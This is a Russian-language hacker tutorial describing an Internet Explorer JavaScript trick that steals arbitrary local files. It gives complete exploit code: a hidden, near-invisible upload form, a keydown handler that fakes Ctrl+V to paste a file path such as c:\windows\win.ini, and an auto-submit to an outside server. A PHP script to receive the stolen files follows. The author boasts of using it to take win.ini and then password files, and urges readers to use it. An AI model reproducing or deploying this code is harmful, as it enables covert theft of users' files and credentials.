Иногда я поражаюсь, как вполне легальными средствами можно
добиться совершенно нелегальных
результатов 🙂 К чему это я? А речь сейчас пойдет о том, как стащить
произвольный файл с компьютера пользователя средствами одного только Java
Script! Многие уже наверное знакомы с этим "багом", если
внимательно читают BUGTRAQ на Хакере. Почему я слово
баг взял в кавычки? Просто на самом деле это непредсказуемое
развитие программерской мысли 🙂
Идея следующая:
1. При нажатии пользователем CTRL управление передается обработчику события
нажатия клавиши. Далее в функции-обработчике эмулируется нажатие 'V' и таким
образом обходятся ограничения на операцию вставки.
2. Содержимое буфера обмена может быть изменено. Фокус ввода передается на
скрытую форму загрузки файла, затем выполняется операция вставки.
3. Абсолютно легальной операцией javascript подтверждаем (submit) отправку. Нет
необходимости задавать полный путь к локальному файлу, достаточно использовать
"..\filename".
А теперь давайте напишем такую страницу,
которая бы делала все описанное выше...
Создаем форму отправки файла:
<form name=upload enctype="multipart/form-data" method=post
action=http://www.server.com/cgi-bin/upload.php>
<input type=file name=file>
</form>
Тут мы создали форму с именем "upload". Форма передает скрипту
"http://www.server.com/cgi-bin/upload.php" единственный файл.
Теперь создадим свой обработчик событий,
реагирующий на нажатие клавиш....
document.onkeydown = gotKey;
gotKey - функция, которая будет вызываться при каждом нажатии клавиши на нашей
страничке. Вот ее код:
function gotKey(){
if (!event.ctrlKey) return;
document.onkeydown = null;
event.keyCode = 86;
window.clipboardData.setData("Text",uploadFile);
(p=document.forms.upload.file).focus();
p.onpropertychange = function(){document.forms.upload.submit()};
}
Объясняю. Если нажатая клавиша не Ctrl, то выходим
из функции. А если она все-таки нажата то кто-то попал :).... выключаем обработчик:
document.onkeydown = null;
кидаем в буфер клавишу "V". То есть получится комбинация
Ctrl+V, операция вставки. Заносим в буфер обмена имя файла:
window.clipboardData.setData("Text",uploadFile);
Переменная uploadFile хранит имя файла который надо утащить.
Если нам нужен win.ini задаем имя так:
uploadFile="c:\\windows\\win.ini";
передаем фокус на поле ввода имени файла:
document.forms.upload.file.focus();
и сабмитим форму:
document.forms.upload.submit();
Понятно? А вот и исходник:
<div id=h style="zoom:0.0001">
<form name=upload enctype="multipart/form-data" method=post
action=http://www.lums.edu.pk/cgi-bin/test-cgi>
<input type=file name=file></form></div>
<script>
uploadFile="c:\\windows\\win.ini";
function gotKey(){
if (!event.ctrlKey) return;
document.onkeydown = null;
event.keyCode = 86;
window.clipboardData.setData("Text",uploadFile);
(property=document.forms.upload.file).focus();
property.onpropertychange = function(){document.forms.upload.submit()};
} document.onkeydown = gotKey;
window.onload=function(){document.body.focus()};
</script>
Форма в леере (слое) с зумом 0.0001, чтоб враги не догадались 🙂
Но этот файл надо принять, для этого нам нужен перл или пхп... вот пример на
пхп:
<?php
require 'Upload.php';
PEAR::setErrorHandling (PEAR_ERROR_DIE);
$upload = new upload;
$file = $upload->getFiles('file');
if ($file->isUpload()) {
$file_name = $file->moveTo('./uploads_dir');
} elseif ($file->isMissing()) {
die ('You must upload one file');
} else {
die ('There were errors uploading ->' . $file->errorMsg());}
?>
А вот линк на Upload.php: http://www.vulcanonet.com/soft/upload/Upload.php.gz
Ну вот и все а ты боялся. Теперь можно юзать.
Как это делал я
Создал свою пагу, сначала настроил эксплоит чтобы
сливть win.ini. Узнал где певеелы и залил потом их...
Дальше думай сам...